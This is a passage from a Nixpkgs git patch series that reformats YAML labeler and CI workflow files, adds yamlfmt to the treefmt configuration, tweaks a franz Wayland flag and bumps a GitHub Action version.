+              - pkgs/tools/virtualization/nixos-container/**/*
 
 "6.topic: nodejs":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/javascript.section.md
-        - pkgs/build-support/node/**/*
-        - pkgs/development/node-packages/**/*
-        - pkgs/development/tools/yarn/*
-        - pkgs/development/tools/yarn2nix-moretea/**/*
-        - pkgs/development/tools/pnpm/**/*
-        - pkgs/development/web/nodejs/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/javascript.section.md
+              - pkgs/build-support/node/**/*
+              - pkgs/development/node-packages/**/*
+              - pkgs/development/tools/yarn/*
+              - pkgs/development/tools/yarn2nix-moretea/**/*
+              - pkgs/development/tools/pnpm/**/*
+              - pkgs/development/web/nodejs/*
 
 "6.topic: nvidia":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/hardware/video/nvidia.nix
-        - nixos/modules/services/hardware/nvidia-container-toolkit/**/*
-        - nixos/modules/services/hardware/nvidia-optimus.nix
-        - pkgs/os-specific/linux/nvidia-x11/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/hardware/video/nvidia.nix
+              - nixos/modules/services/hardware/nvidia-container-toolkit/**/*
+              - nixos/modules/services/hardware/nvidia-optimus.nix
+              - pkgs/os-specific/linux/nvidia-x11/**/*
 
 "6.topic: ocaml":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/ocaml.section.md
-        - pkgs/development/compilers/ocaml/**/*
-        - pkgs/development/compilers/reason/**/*
-        - pkgs/development/ocaml-modules/**/*
-        - pkgs/development/tools/ocaml/**/*
-        - pkgs/top-level/ocaml-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/ocaml.section.md
+              - pkgs/development/compilers/ocaml/**/*
+              - pkgs/development/compilers/reason/**/*
+              - pkgs/development/ocaml-modules/**/*
+              - pkgs/development/tools/ocaml/**/*
+              - pkgs/top-level/ocaml-packages.nix
 
 "6.topic: pantheon":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/desktops/pantheon/**/*
-        - nixos/modules/services/x11/desktop-managers/pantheon.nix
-        - nixos/modules/services/x11/display-managers/lightdm-greeters/pantheon.nix
-        - nixos/tests/pantheon.nix
-        - pkgs/desktops/pantheon/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/desktops/pantheon/**/*
+              - nixos/modules/services/x11/desktop-managers/pantheon.nix
+              - nixos/modules/services/x11/display-managers/lightdm-greeters/pantheon.nix
+              - nixos/tests/pantheon.nix
+              - pkgs/desktops/pantheon/**/*
 
 "6.topic: php":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/php.section.md
-        - nixos/tests/php/**/*
-        - pkgs/build-support/php/**/*
-        - pkgs/development/interpreters/php/**/*
-        - pkgs/development/php-packages/**/*
-        - pkgs/test/php/default.nix
-        - pkgs/top-level/php-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/php.section.md
+              - nixos/tests/php/**/*
+              - pkgs/build-support/php/**/*
+              - pkgs/development/interpreters/php/**/*
+              - pkgs/development/php-packages/**/*
+              - pkgs/test/php/default.nix
+              - pkgs/top-level/php-packages.nix
 
 "6.topic: printing":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/services/printing/cupsd.nix
-        - pkgs/misc/cups/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/services/printing/cupsd.nix
+              - pkgs/misc/cups/**/*
 
 "6.topic: python":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/python.section.md
-        - pkgs/development/interpreters/python/**/*
-        - pkgs/development/python-modules/**/*
-        - pkgs/top-level/python-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/python.section.md
+              - pkgs/development/interpreters/python/**/*
+              - pkgs/development/python-modules/**/*
+              - pkgs/top-level/python-packages.nix
 
 "6.topic: qt/kde":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/qt.section.md
-        - nixos/modules/services/x11/desktop-managers/plasma5.nix
-        - nixos/tests/plasma5.nix
-        - pkgs/applications/kde/**/*
-        - pkgs/desktops/plasma-5/**/*
-        - pkgs/development/libraries/kde-frameworks/**/*
-        - pkgs/development/libraries/qt-5/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/qt.section.md
+              - nixos/modules/services/x11/desktop-managers/plasma5.nix
+              - nixos/tests/plasma5.nix
+              - pkgs/applications/kde/**/*
+              - pkgs/desktops/plasma-5/**/*
+              - pkgs/development/libraries/kde-frameworks/**/*
+              - pkgs/development/libraries/qt-5/**/*
 
 "6.topic: R":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/applications/science/math/R/**/*
-        - pkgs/development/r-modules/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/applications/science/math/R/**/*
+              - pkgs/development/r-modules/**/*
 
 "6.topic: rocm":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/development/rocm-modules/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/development/rocm-modules/**/*
 
 "6.topic: ruby":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/ruby.section.md
-        - pkgs/development/interpreters/ruby/**/*
-        - pkgs/development/ruby-modules/**/*
-        - pkgs/top-level/ruby-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/ruby.section.md
+              - pkgs/development/interpreters/ruby/**/*
+              - pkgs/development/ruby-modules/**/*
+              - pkgs/top-level/ruby-packages.nix
 
 "6.topic: rust":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/rust.section.md
-        - pkgs/build-support/rust/**/*
-        - pkgs/development/compilers/rust/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/rust.section.md
+              - pkgs/build-support/rust/**/*
+              - pkgs/development/compilers/rust/**/*
 
 "6.topic: stdenv":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/stdenv/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/stdenv/**/*
 
 "6.topic: steam":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/games/steam/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/games/steam/**/*
 
 "6.topic: systemd":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/os-specific/linux/systemd/**/*
-        - nixos/modules/system/boot/systemd*/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/os-specific/linux/systemd/**/*
+              - nixos/modules/system/boot/systemd*/**/*
 
 "6.topic: tcl":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/tcl.section.md
-        - pkgs/development/interpreters/tcl/*
-        - pkgs/development/tcl-modules/**/*
-        - pkgs/top-level/tcl-packages.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/tcl.section.md
+              - pkgs/development/interpreters/tcl/*
+              - pkgs/development/tcl-modules/**/*
+              - pkgs/top-level/tcl-packages.nix
 
 "6.topic: teams":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-          - maintainers/team-list.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - maintainers/team-list.nix
 
 "6.topic: testing":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        # NOTE: Let's keep the scope limited to test frameworks that are
-        #       *developed in this repo*;
-        #       - not individual tests
-        #       - not packages for test frameworks
-        - pkgs/build-support/testers/**
-        - nixos/lib/testing/**
-        - nixos/lib/test-driver/**
-        - nixos/tests/nixos-test-driver/**
-        - nixos/lib/testing-python.nix      # legacy
-        - nixos/tests/make-test-python.nix  # legacy
-        # lib/debug.nix has a test framework (runTests) but it's not the main focus
+      - changed-files:
+          - any-glob-to-any-file:
+              # NOTE: Let's keep the scope limited to test frameworks that are
+              #       *developed in this repo*;
+              #       - not individual tests
+              #       - not packages for test frameworks
+              - pkgs/build-support/testers/**
+              - nixos/lib/testing/**
+              - nixos/lib/test-driver/**
+              - nixos/tests/nixos-test-driver/**
+              - nixos/lib/testing-python.nix # legacy
+              - nixos/tests/make-test-python.nix # legacy
+              # lib/debug.nix has a test framework (runTests) but it's not the main focus
 
 "6.topic: TeX":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/texlive.section.md
-        - pkgs/test/texlive/**
-        - pkgs/tools/typesetting/tex/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/texlive.section.md
+              - pkgs/test/texlive/**
+              - pkgs/tools/typesetting/tex/**/*
 
 "6.topic: updaters":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/common-updater/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/common-updater/**/*
 
 "6.topic: vim":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - doc/languages-frameworks/vim.section.md
-        - pkgs/applications/editors/vim/**/*
-        - pkgs/applications/editors/vim/plugins/**/*
-        - nixos/modules/programs/neovim.nix
-        - pkgs/applications/editors/neovim/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - doc/languages-frameworks/vim.section.md
+              - pkgs/applications/editors/vim/**/*
+              - pkgs/applications/editors/vim/plugins/**/*
+              - nixos/modules/programs/neovim.nix
+              - pkgs/applications/editors/neovim/**/*
 
 "6.topic: vscode":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/applications/editors/vscode/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/applications/editors/vscode/**/*
 
 "6.topic: windows":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/os-specific/windows/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/os-specific/windows/**/*
 
 "6.topic: xen-project":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/virtualisation/xen*
-        - pkgs/by-name/xe/xen/*
-        - pkgs/by-name/qe/qemu_xen/*
-        - pkgs/by-name/xe/xen-guest-agent/*
-        - pkgs/by-name/xt/xtf/*
-        - pkgs/build-support/xen/*
-        - pkgs/development/ocaml-modules/xen*/*
-        - pkgs/development/ocaml-modules/vchan/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/virtualisation/xen*
+              - pkgs/by-name/xe/xen/*
+              - pkgs/by-name/qe/qemu_xen/*
+              - pkgs/by-name/xe/xen-guest-agent/*
+              - pkgs/by-name/xt/xtf/*
+              - pkgs/build-support/xen/*
+              - pkgs/development/ocaml-modules/xen*/*
+              - pkgs/development/ocaml-modules/vchan/*
 
 "6.topic: xfce":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/doc/manual/configuration/xfce.xml
-        - nixos/modules/services/x11/desktop-managers/xfce.nix
-        - nixos/tests/xfce.nix
-        - pkgs/desktops/xfce/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/doc/manual/configuration/xfce.xml
+              - nixos/modules/services/x11/desktop-managers/xfce.nix
+              - nixos/tests/xfce.nix
+              - pkgs/desktops/xfce/**/*
 
 "6.topic: zig":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - pkgs/development/compilers/zig/**/*
-        - doc/hooks/zig.section.md
+      - changed-files:
+          - any-glob-to-any-file:
+              - pkgs/development/compilers/zig/**/*
+              - doc/hooks/zig.section.md
 
 "8.has: changelog":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/doc/manual/release-notes/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/doc/manual/release-notes/**/*
 
 "8.has: maintainer-list (update)":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - maintainers/maintainer-list.nix
+      - changed-files:
+          - any-glob-to-any-file:
+              - maintainers/maintainer-list.nix
 
 "8.has: module (update)":
   - any:
-    - changed-files:
-      - any-glob-to-any-file:
-        - nixos/modules/**/*
+      - changed-files:
+          - any-glob-to-any-file:
+              - nixos/modules/**/*
 
 # keep-sorted end
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index a46a382ff42d..a9efff4d4a8f 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -24,10 +24,10 @@ jobs:
         include:
           - runner: ubuntu-24.04
             system: x86_64-linux
-            builds: [shell,manual-nixos,lib-tests]
+            builds: [shell, manual-nixos, lib-tests]
           - runner: ubuntu-24.04-arm
             system: aarch64-linux
-            builds: [shell,manual-nixos,manual-nixpkgs,manual-nixpkgs-tests]
+            builds: [shell, manual-nixos, manual-nixpkgs, manual-nixpkgs-tests]
           - runner: macos-13
             system: x86_64-darwin
             builds: [shell]
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index dd7c433815dc..ea96f792c294 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -52,7 +52,7 @@ jobs:
   outpaths:
     name: Outpaths
     runs-on: ubuntu-24.04-arm
-    needs: [ prepare ]
+    needs: [prepare]
     strategy:
       fail-fast: false
       matrix:
@@ -163,7 +163,7 @@ jobs:
   compare:
     name: Comparison
     runs-on: ubuntu-24.04-arm
-    needs: [ prepare, outpaths ]
+    needs: [prepare, outpaths]
     if: needs.prepare.outputs.targetSha
     permissions:
       issues: write # needed to create *new* labels
@@ -251,7 +251,7 @@ jobs:
 
   labels:
     name: Labels
-    needs: [ compare ]
+    needs: [compare]
     uses: ./.github/workflows/labels.yml
     permissions:
       issues: write
@@ -262,7 +262,7 @@ jobs:
     # No dependency on "compare", so that it can start at the same time.
     # We only wait for the "comparison" artifact to be available, which makes the start-to-finish time
     # for the eval workflow considerably faster.
-    needs: [ prepare, outpaths ]
+    needs: [prepare, outpaths]
     if: needs.prepare.outputs.targetSha
     uses: ./.github/workflows/reviewers.yml
     secrets: inherit
diff --git a/.github/workflows/periodic-merge-24h.yml b/.github/workflows/periodic-merge-24h.yml
index 6e0de6c53a03..43e4de8e0fe2 100644
--- a/.github/workflows/periodic-merge-24h.yml
+++ b/.github/workflows/periodic-merge-24h.yml
@@ -11,7 +11,7 @@ on:
   schedule:
     # * is a special character in YAML so you have to quote this string
     # Merge every 24 hours
-    - cron:  '0 0 * * *'
+    - cron: '0 0 * * *'
   workflow_dispatch:
 
 permissions: {}
diff --git a/.github/workflows/periodic-merge-6h.yml b/.github/workflows/periodic-merge-6h.yml
index e056d7634a5d..15a7da3db4e2 100644
--- a/.github/workflows/periodic-merge-6h.yml
+++ b/.github/workflows/periodic-merge-6h.yml
@@ -11,7 +11,7 @@ on:
   schedule:
     # * is a special character in YAML so you have to quote this string
     # Merge every 6 hours
-    - cron:  '0 */6 * * *'
+    - cron: '0 */6 * * *'
   workflow_dispatch:
 
 permissions: {}
diff --git a/pkgs/by-name/an/antora/test/minimal_working_example/antora.yml b/pkgs/by-name/an/antora/test/minimal_working_example/antora.yml
index 27c21228abaa..db2da079976f 100644
--- a/pkgs/by-name/an/antora/test/minimal_working_example/antora.yml
+++ b/pkgs/by-name/an/antora/test/minimal_working_example/antora.yml
@@ -1,4 +1,3 @@
----
 name: Antora
 
 nav:
diff --git a/pkgs/by-name/tf/tfk8s/tests/sample1/input.yaml b/pkgs/by-name/tf/tfk8s/tests/sample1/input.yaml
index 58ed0eb11d76..3c13923fd020 100644
--- a/pkgs/by-name/tf/tfk8s/tests/sample1/input.yaml
+++ b/pkgs/by-name/tf/tfk8s/tests/sample1/input.yaml
@@ -1,4 +1,3 @@
----
 apiVersion: v1
 kind: ConfigMap
 metadata:
diff --git a/pkgs/development/julia-modules/tests/julia-top-n/package.yaml b/pkgs/development/julia-modules/tests/julia-top-n/package.yaml
index 404ebc72dd67..29fbcd88c15c 100644
--- a/pkgs/development/julia-modules/tests/julia-top-n/package.yaml
+++ b/pkgs/development/julia-modules/tests/julia-top-n/package.yaml
@@ -1,38 +1,38 @@
-name:                julia-top-n
-version:             0.1.0.0
-license:             BSD-3-Clause
-author:              "Tom McLaughlin"
-maintainer:          "tom@codedown.io"
+name: julia-top-n
+version: 0.1.0.0
+license: BSD-3-Clause
+author: "Tom McLaughlin"
+maintainer: "tom@codedown.io"
 
 dependencies:
-- aeson
-- base >= 4.7 && < 5
-- bytestring
-- filepath
-- optparse-applicative
-- sandwich
-- string-interpolate
-- text
-- unliftio
-- vector
-- yaml
+  - aeson
+  - base >= 4.7 && < 5
+  - bytestring
+  - filepath
+  - optparse-applicative
+  - sandwich
+  - string-interpolate
+  - text
+  - unliftio
+  - vector
+  - yaml
 
 ghc-options:
-- -Wall
-- -Wcompat
-- -Widentities
-- -Wincomplete-record-updates
-- -Wincomplete-uni-patterns
-- -Wmissing-export-lists
-- -Wmissing-home-modules
-- -Wpartial-fields
-- -Wredundant-constraints
+  - -Wall
+  - -Wcompat
+  - -Widentities
+  - -Wincomplete-record-updates
+  - -Wincomplete-uni-patterns
+  - -Wmissing-export-lists
+  - -Wmissing-home-modules
+  - -Wpartial-fields
+  - -Wredundant-constraints
 
 executables:
   julia-top-n-exe:
-    main:                Main.hs
-    source-dirs:         app
+    main: Main.hs
+    source-dirs: app
     ghc-options:
-    - -threaded
-    - -rtsopts
-    - -with-rtsopts=-N
+      - -threaded
+      - -rtsopts
+      - -with-rtsopts=-N
diff --git a/pkgs/development/julia-modules/tests/julia-top-n/stack.yaml b/pkgs/development/julia-modules/tests/julia-top-n/stack.yaml
index 28bbc5a5f7ef..0a4de61e7f68 100644
--- a/pkgs/development/julia-modules/tests/julia-top-n/stack.yaml
+++ b/pkgs/development/julia-modules/tests/julia-top-n/stack.yaml
@@ -3,9 +3,9 @@ resolver:
   url: https://raw.githubusercontent.com/commercialhaskell/stackage-snapshots/master/lts/22/4.yaml
 
 packages:
-- .
+  - .
 
 nix:
   pure: false
   packages:
-  - zlib
+    - zlib

From a37a28a4c7175241ebf716f484c44badf5646dee Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 11 Jun 2025 16:36:07 +0200
Subject: [PATCH 1056/4511] ci/treefmt: add yamlfmt

Most workflow files are already well formatted, but to make it easier to
keep it that way, we can add yamlfmt.

I personally have a preference for non-indented arrays for YAML, but
wanted to avoid bigger diffs here - the status-quo clearly are indented
arrays.

Some changes are made manually to the get-merge-commit action and the
issue templates. Those would otherwise make yamlfmt misbehave on those.

(cherry picked from commit 8ec23df6f6c8e647719cbbded5376fd83679a28b)
---
 .github/ISSUE_TEMPLATE/01_bug_report.yml          |  2 +-
 .github/ISSUE_TEMPLATE/02_bug_report_darwin.yml   |  2 +-
 .github/ISSUE_TEMPLATE/03_bug_report_nixos.yml    |  2 +-
 .github/ISSUE_TEMPLATE/04_build_failure.yml       |  2 +-
 .github/ISSUE_TEMPLATE/05_update_request.yml      |  2 +-
 .github/ISSUE_TEMPLATE/06_module_request.yml      |  2 +-
 .github/ISSUE_TEMPLATE/07_backport_request.yml    |  2 +-
 .../ISSUE_TEMPLATE/08_documentation_request.yml   |  2 +-
 .../ISSUE_TEMPLATE/09_unreproducible_package.yml  |  2 +-
 .github/actions/get-merge-commit/action.yml       |  2 +-
 ci/default.nix                                    | 15 +++++++++++++++
 11 files changed, 25 insertions(+), 10 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/01_bug_report.yml b/.github/ISSUE_TEMPLATE/01_bug_report.yml
index 01f1a227f13c..6bd11808df49 100644
--- a/.github/ISSUE_TEMPLATE/01_bug_report.yml
+++ b/.github/ISSUE_TEMPLATE/01_bug_report.yml
@@ -100,7 +100,7 @@ body:
       label: "Notify maintainers"
       description: |
         Please mention the people who are in the **Maintainers** list of the offending package. This is done by by searching for the package on the [NixOS Package Search](https://search.nixos.org/packages) and mentioning the people listed under **Maintainers** by prefixing their GitHub usernames with an '@' character. Please add the mentions above the `---` characters in the template below.
-      value: |
+      value: |2
 
 
         ---
diff --git a/.github/ISSUE_TEMPLATE/02_bug_report_darwin.yml b/.github/ISSUE_TEMPLATE/02_bug_report_darwin.yml
index 16be2865d977..d100b63c20b5 100644
--- a/.github/ISSUE_TEMPLATE/02_bug_report_darwin.yml
+++ b/.github/ISSUE_TEMPLATE/02_bug_report_darwin.yml
@@ -114,7 +114,7 @@ body:
         Please mention the people who are in the **Maintainers** list of the offending package. This is done by by searching for the package on the [NixOS Package Search](https://search.nixos.org/packages) and mentioning the people listed under **Maintainers** by prefixing their GitHub usernames with an '@' character. Please add the mentions above the `---` characters in the template below.
 
         If this issue is related to the Darwin packaging architecture as a whole, or is related to the core Darwin frameworks, consider mentioning the `@NixOS/darwin-core` team.
-      value: |
+      value: |2
 
 
         ---
diff --git a/.github/ISSUE_TEMPLATE/03_bug_report_nixos.yml b/.github/ISSUE_TEMPLATE/03_bug_report_nixos.yml
index b285dd11cfb9..ae653a49e72d 100644
--- a/.github/ISSUE_TEMPLATE/03_bug_report_nixos.yml
+++ b/.github/ISSUE_TEMPLATE/03_bug_report_nixos.yml
@@ -104,7 +104,7 @@ body:
         Please note that the maintainer attribute name does not always match the maintainer's GitHub username. If that occurs, try looking in [`maintainers/maintainer-list.nix`](https://github.com/NixOS/nixpkgs/blob/master/maintainers/maintainer-list.nix) for the maintainer attribute name, and checking if the maintainer has a listed GitHub username.
 
         If in doubt, check `git blame` for whoever last touched the module, or check the associated package's maintainers. Please add the mentions above the `---` characters.
-      value: |
+      value: |2
 
 
         ---
diff --git a/.github/ISSUE_TEMPLATE/04_build_failure.yml b/.github/ISSUE_TEMPLATE/04_build_failure.yml
index 2dfa1b779a6d..9ded905e73dc 100644
--- a/.github/ISSUE_TEMPLATE/04_build_failure.yml
+++ b/.github/ISSUE_TEMPLATE/04_build_failure.yml
@@ -109,7 +109,7 @@ body:
       label: "Notify maintainers"
       description: |
         Please mention the people who are in the **Maintainers** list of the offending package. This is done by by searching for the package on the [NixOS Package Search](https://search.nixos.org/packages) and mentioning the people listed under **Maintainers** by prefixing their GitHub usernames with an '@' character. Please add the mentions above the `---` characters in the template below.
-      value: |
+      value: |2
 
 
         ---
diff --git a/.github/ISSUE_TEMPLATE/05_update_request.yml b/.github/ISSUE_TEMPLATE/05_update_request.yml
index 91944dbd9cf5..f80d52ea75ac 100644
--- a/.github/ISSUE_TEMPLATE/05_update_request.yml
+++ b/.github/ISSUE_TEMPLATE/05_update_request.yml
@@ -84,7 +84,7 @@ body:
       label: "Notify maintainers"
       description: |
         Please mention the people who are in the **Maintainers** list of the offending package. This is done by by searching for the package on the [NixOS Package Search](https://search.nixos.org/packages) and mentioning the people listed under **Maintainers** by prefixing their GitHub usernames with an '@' character. Please add the mentions above the `---` characters in the template below.
-      value: |
+      value: |2
 
 
         ---
diff --git a/.github/ISSUE_TEMPLATE/06_module_request.yml b/.github/ISSUE_TEMPLATE/06_module_request.yml
index 97008b8623e6..8f519d9f1c15 100644
--- a/.github/ISSUE_TEMPLATE/06_module_request.yml
+++ b/.github/ISSUE_TEMPLATE/06_module_request.yml
@@ -60,7 +60,7 @@ body:
       label: "Notify maintainers"
       description: |
         Please mention the people who are in the **Maintainers** list of the offending package. This is done by by searching for the package on the [NixOS Package Search](https://search.nixos.org/packages) and mentioning the people listed under **Maintainers** by prefixing their GitHub usernames with an '@' character. Please add the mentions above the `---` characters in the template below.
-      value: |
+      value: |2
 
 
         ---
diff --git a/.github/ISSUE_TEMPLATE/07_backport_request.yml b/.github/ISSUE_TEMPLATE/07_backport_request.yml
index b0c5deba3247..ced889877e3a 100644
--- a/.github/ISSUE_TEMPLATE/07_backport_request.yml
+++ b/.github/ISSUE_TEMPLATE/07_backport_request.yml
@@ -62,7 +62,7 @@ body:
       label: "Notify maintainers"
       description: |
         Please mention the people who are in the **Maintainers** list of the offending package. This is done by by searching for the package on the [NixOS Package Search](https://search.nixos.org/packages) and mentioning the people listed under **Maintainers** by prefixing their GitHub usernames with an '@' character. Please add the mentions above the `---` characters in the template below.
-      value: |
+      value: |2
 
 
         ---
diff --git a/.github/ISSUE_TEMPLATE/08_documentation_request.yml b/.github/ISSUE_TEMPLATE/08_documentation_request.yml
index cfa3df26acf8..5ea2763ba148 100644
--- a/.github/ISSUE_TEMPLATE/08_documentation_request.yml
+++ b/.github/ISSUE_TEMPLATE/08_documentation_request.yml
@@ -46,7 +46,7 @@ body:
       label: "Notify maintainers"
       description: |
         Please mention the people who are in the **Maintainers** list of the offending package. This is done by by searching for the package on the [NixOS Package Search](https://search.nixos.org/packages) and mentioning the people listed under **Maintainers** by prefixing their GitHub usernames with an '@' character. Please add the mentions above the `---` characters in the template below.
-      value: |
+      value: |2
 
 
         ---
diff --git a/.github/ISSUE_TEMPLATE/09_unreproducible_package.yml b/.github/ISSUE_TEMPLATE/09_unreproducible_package.yml
index b554f6f48ef9..e17e943da22d 100644
--- a/.github/ISSUE_TEMPLATE/09_unreproducible_package.yml
+++ b/.github/ISSUE_TEMPLATE/09_unreproducible_package.yml
@@ -119,7 +119,7 @@ body:
       label: "Notify maintainers"
       description: |
         Please mention the people who are in the **Maintainers** list of the offending package. This is done by by searching for the package on the [NixOS Package Search](https://search.nixos.org/packages) and mentioning the people listed under **Maintainers** by prefixing their GitHub usernames with an '@' character. Please add the mentions above the `---` characters in the template below.
-      value: |
+      value: |2
 
 
         ---
diff --git a/.github/actions/get-merge-commit/action.yml b/.github/actions/get-merge-commit/action.yml
index a16d289cc6e0..3766ad4f4ea0 100644
--- a/.github/actions/get-merge-commit/action.yml
+++ b/.github/actions/get-merge-commit/action.yml
@@ -72,10 +72,10 @@ runs:
           }
           throw new Error("Not retrying anymore. It's likely that GitHub is having internal issues: check https://www.githubstatus.com.")
 
+    - if: inputs.merged-as-untrusted && steps.commits.outputs.mergedSha
       # Would be great to do the checkouts in git worktrees of the existing spare checkout instead,
       # but Nix is broken with them:
       # https://github.com/NixOS/nix/issues/6073
-    - if: inputs.merged-as-untrusted && steps.commits.outputs.mergedSha
       uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
       with:
         ref: ${{ steps.commits.outputs.mergedSha }}
diff --git a/ci/default.nix b/ci/default.nix
index cddea6453606..32e067133422 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -52,6 +52,21 @@ let
         # See https://github.com/NixOS/nixfmt
         programs.nixfmt.enable = true;
 
+        programs.yamlfmt = {
+          enable = true;
+          settings.formatter = {
+            retain_line_breaks = true;
+          };
+        };
+        settings.formatter.yamlfmt.excludes = [
+          # Breaks helm templating
+          "nixos/tests/k3s/k3s-test-chart/templates/*"
+          # Aligns comments with whitespace
+          "pkgs/development/haskell-modules/configuration-hackage2nix/main.yaml"
+          # TODO: Fix formatting for auto-generated file
+          "pkgs/development/haskell-modules/configuration-hackage2nix/transitive-broken.yaml"
+        ];
+
         settings.formatter.editorconfig-checker = {
           command = "${pkgs.lib.getExe pkgs.editorconfig-checker}";
           options = [ "-disable-indent-size" ];

From 4fc71c449e4256cb7b3d0956da7bd1a8fcf8e555 Mon Sep 17 00:00:00 2001
From: Maxim Schuwalow <maxim.schuwalow@gmail.com>
Date: Sun, 15 Jun 2025 02:03:21 +0200
Subject: [PATCH 1057/4511] franz: Fix screensharing under wayland

(cherry picked from commit f727cfdb6fe1cfee92a49a882e8c32c2e255ff9b)
---
 .../networking/instant-messengers/franz/generic.nix             | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/networking/instant-messengers/franz/generic.nix b/pkgs/applications/networking/instant-messengers/franz/generic.nix
index 9c9731455daf..f7e6833ec59d 100644
--- a/pkgs/applications/networking/instant-messengers/franz/generic.nix
+++ b/pkgs/applications/networking/instant-messengers/franz/generic.nix
@@ -126,7 +126,7 @@ stdenv.mkDerivation (
       wrapProgramShell $out/opt/${name}/${pname} \
         --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath runtimeDependencies}" \
         --suffix PATH : ${xdg-utils}/bin \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations,WebRTCPipeWireCapturer --enable-wayland-ime=true}}" \
         "''${gappsWrapperArgs[@]}"
     '';
   }

From 14ff4bb5db0c03836f8f1e714d275316009f3cad Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Sun, 15 Jun 2025 10:11:02 +0000
Subject: [PATCH 1058/4511] build(deps): bump cachix/install-nix-action from
 31.3.0 to 31.4.0

Bumps [cachix/install-nix-action](https://github.com/cachix/install-nix-action) from 31.3.0 to 31.4.0.
- [Release notes](https://github.com/cachix/install-nix-action/releases)
- [Changelog](https://github.com/cachix/install-nix-action/blob/master/RELEASE.md)
- [Commits](https://github.com/cachix/install-nix-action/compare/31.3.0...17fe5fb4a23ad6cbbe47d6b3f359611ad276644c)

---
updated-dependencies:
- dependency-name: cachix/install-nix-action
  dependency-version: 31.4.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit 3b2e355ae36eb92cea81612f604db79f1d9ebb14)
---
 .github/workflows/lint.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
